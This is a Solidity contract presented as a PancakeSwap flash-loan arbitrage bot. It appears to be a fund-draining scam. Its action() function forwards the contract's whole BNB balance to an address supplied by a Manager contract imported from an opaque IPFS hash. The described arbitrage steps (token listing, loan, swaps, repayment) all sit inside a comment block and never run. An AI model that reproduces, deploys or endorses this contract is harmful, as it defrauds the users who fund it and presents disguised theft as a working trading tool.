pragma solidity ^0.5.0; // Import PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // Import Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // Import BSC Manager import "ipfs://QmP8JcBkxG8xdYTxb27tiXmS93D98hr7aTGDoQE43QNxQJ"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send new Token with value to prepare for swap address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance & Loan Execution wallet string memory loanAddress = manager.takeFlashLoan(loanAmount); // Convert half BNB to DAI manager.pancakeDAItoBNB(loanAmount / 2); // Create BNB and DAI pairs for our token & Provide liquidity string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI"); manager.pancakeAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage manager.pancakePerformSwaps(); // Move remaining BNB from Contract to your personal wallet manager.contractToWallet("BNB"); // Repay Flashloan manager.repayLoan(loanAddress); */ } }